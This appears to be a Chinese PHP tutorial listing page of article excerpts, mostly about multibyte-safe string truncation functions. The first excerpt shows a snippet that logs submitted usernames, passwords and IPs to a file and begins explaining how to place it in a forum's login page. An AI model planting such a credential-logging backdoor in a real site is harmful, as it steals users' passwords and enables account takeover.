【php小偷相关截取函数备忘_PHP教程】教程文章相关的互联网学习教程文章

php截取后台登陆密码的代码_PHP

if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件 下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。 我只复制了关键代码过来. //act...

真正根据utf8编码的规律来进行截取字符串的函数(utf8版sub_str)_PHP

代码如下:/* * 功能: 作用跟substr一样,除了它不会造成乱码 * 参数: * 返回: */ function utf8_substr( $str , $start , $length=null ){ // 先正常截取一遍. $res = substr( $str , $start , $length ); $strlen = strlen( $str ); /* 接着判断头尾各6字节是否完整(不残缺) */ // 如果参数start是正数 if ( $start >= 0 ){ // 往前再截取大约6字节 $next_start = $start + $length; // 初始位置 $next_len = $next_start + 6 <= ...

php截取字符串并保留完整xml标签的函数代码_PHP

代码如下: /** * author: goosman * blog: http://blog.csdn.net/lgg201 * mail: lgg860911@yahoo.com.cn */ $str = '01234567890120123456789'; function substr_remain_tag($s, $o, $l) { $is_match = preg_match_all( #该正则表达式解析xml标签, 标签属性内部支持转义符"\", 支持对"\"自身和对应引号的转义 (?: #属性列表 \s+ #前...

解析smarty截取字符串函数truncate的用法介绍_PHP

smarty truncate 截取字符串从字符串开始处截取某长度的字符,默认的长度为80指定第二个参数作为截取字符串的长度默认情况下,smarty会截取到一个词的末尾,如果需要精确到截取多少个字符可以使用第三个参数,将其设为”true”具体用法如下: 代码如下://index.php $smarty = new Smarty; $smarty->assign('articleTitle', 'Two Sisters Reunite after Eighteen Years at Checkout Counter.'); $smarty->display('index.tpl'); //i...

解析使用substr截取UTF-8中文字符串出现乱码的问题_PHP

我们知道有时候使用substr来截取UTF-8中文字符串的时候,经常会出现乱码,为什么会出现这样的问题呢,本文告诉你答案。看这样一段代码吧(字符编码为UTF-8): 代码如下:$str = '都知道strlen与mb_strlen是求字符串长度的函数';echo strlen($str)'.'.mb_strlen($str,'utf-8');?>运行上述代码,返回值如下:6634怎么样?strlen中,中文是三个字节的长度,英文则是一个字节的长度!mb_strlen中,都被计算为一字节的长度!所以,我们...

php字符串截取的简单方法_PHP

代码如下:strpos(string,find,start)实例: 代码如下:输出6 代码如下:substr(string,start,length)其中start的参数 正数 - 在字符串的指定位置开始负数 - 在从字符串结尾的指定位置开始0 - 在字符串中的第一个字符处开始 代码如下:输出world strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。 该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。 代码如下:strstr(abc@bitsCN.com, @, TR...

使用php实现截取指定长度_PHP

PHP语言: 根据中文裁减字符串 代码如下:function cutstr($string,$length, $dot = ' ...') { if (strlen($string) return$string; } $pre = chr(1); $end = chr(1); $string = str_replace(array('&','"', ''),array($pre . '&'. $end, $pre . '"' . $end, $pre . '' . $end), $string); $strcut = ''; if (strtolower(CHARSET) == 'utf-8'){ $n = $tn =$noc = 0; while ($n $t =ord($string[$n]);...

多个PHP中文字符串截取函数_PHP

代码如下:function sysSubStr($string,$length,$append = false) { if(strlen($string) { return $string; } else { $i = 0; while ($i { $stringTMP = substr($string,$i,1); if ( ord($stringTMP) >=224 ) { $stringTMP = substr($string,$i,3); $i = $i + 3; } elseif( ord...

PHPimagegrabscreen和imagegrabwindow(截取网站缩略图)的实例代_PHP

1. 截取整个屏幕 Screenshot 代码如下:$im = imagegrabscreen(); imagepng($im, “myscreenshot.png”); ?> 2. 截取一个窗口 Capture a window (IE for example) 代码如下:$browser = new COM(“InternetExplorer.Application”); $handle = $browser->HWND; $browser->Visible = true; $im = imagegrabwindow($handle); $browser->Quit(); imagepng($im, “iesnap.png”); $im = imagegrabscreen(); ?...

php截取中文字符串不乱码的方法_PHP

GBK编码截取示例代码如下:$str = 我是谁; //gbk编码的字符串echo mb_substr($str, 0, 1, gbk); //输出 我 mb_substr方法比substr多一个参数,用来指定字符串编码。 utf-8编码截取示例 [code]$str = 我abc是谁; //utf-8编码的字符串echo mb_substr($str, 0, 2, utf-8); //输出 我a[/code 中英混合也完全没有问题。 友情提示 使用的时候要注意php文件的编码,和网页显示时的编码。 使用这个mb_substr方法要事先知道字符串的编码,如...

php截取字符串之截取utf8或gbk编码的中英文字符串示例_PHP

微博的发言有字数限制,其计数方式是,中文算2个,英文算1个,全角字符算2个,半角字符算1个。php中自带strlen是返回的字节数,对于utf8编码的中文返回时3个,不满足需求。mb_strlen 可以根据字符集计算长度,比如utf8的中文计数为1,但这不符合微博字数限制需求,中文必须计算为2才可以。google了下,找到一个discuz中截取各种编码字符的类,改造了下,已经测试通过.其中参数$charset 只支持gbk与utf-8。代码如下:$a = "s@@你好"...

支持中文和其他编码的php截取字符串函数分享(截取中文字符串)_PHP

简单的字符串截取方法,支持中文和其他编码,传入相对应的参数直接调用就可以了代码如下:/** * 字符串截取,支持中文和其他编码 * @static * @access public * @param string $str 需要转换的字符串 * @param string $start 开始位置 * @param string $length 截取长度 * @param string $charset 编码格式 * @param string $suffix 截断显示字符 * @return string */function msubstr($str, $start=0, $length, $charset="utf-8", ...

php自定义函数截取汉字长度_PHP

代码如下:function msubstr($str,$start,$len) { $strlen=$start+$len; for($i=0;$i<$strlen;$i++) { if(ord(substr($str,$i,1))>0xa0) { $tmpstr.=substr($str,$i,2); $i++; } else $tmpstr.=substr($str,$i,1); } return $tmpstr; } 代码如下:<?PHP $str="这个字符好长呀,^_^"; $Short_Str=showShort($str,4);//截取前面4个汉字,结果为:这个字符... Echo "$Short_Str"; Function csubstr($str,$start,$len) { $strlen=strlen($...

php截取字符串函数substr,iconv_substr,mb_substr示例以及优劣分_PHP

示例代码,用到了函数substr与iconv_substr,mb_substr代码如下:截取中文字符串__www.bitsCN.com$str='123456欢迎大家的光临';echo substr($str,0,4);echo '';echo iconv_substr($str,0,4,'utf-8');echo '';echo mb_substr($str,0,4,'utf-8');?> 说明:以上代码用到了二个函数iconv_substr和mb_substr,均可以在当前字符下进行字符串截取,以达到中文字符截取的不乱码。 应该如何选择呢? 1、iconv库在某些操作系统上可能运行不正确...

php轻松实现中英文混排字符串截取_PHP

先给大家介绍用到的函数:代码如下:mb_strwidth($str, $encoding) 返回字符串的宽度$str 要计算的字符串$encoding 要使用的编码,如 utf8、gbk代码如下:mb_strimwidth($str, $start, $width, $tail, $encoding) 按宽度截取字符串$str 要截取的字符串$start 从哪个位置开始截取,默认是0$width 要截取的宽度$tail 追加到截取字符串后边的字符串,常用的是 ...$encoding 要使用的编码 下边给大家实例演示:代码如下:<?php/** * utf8...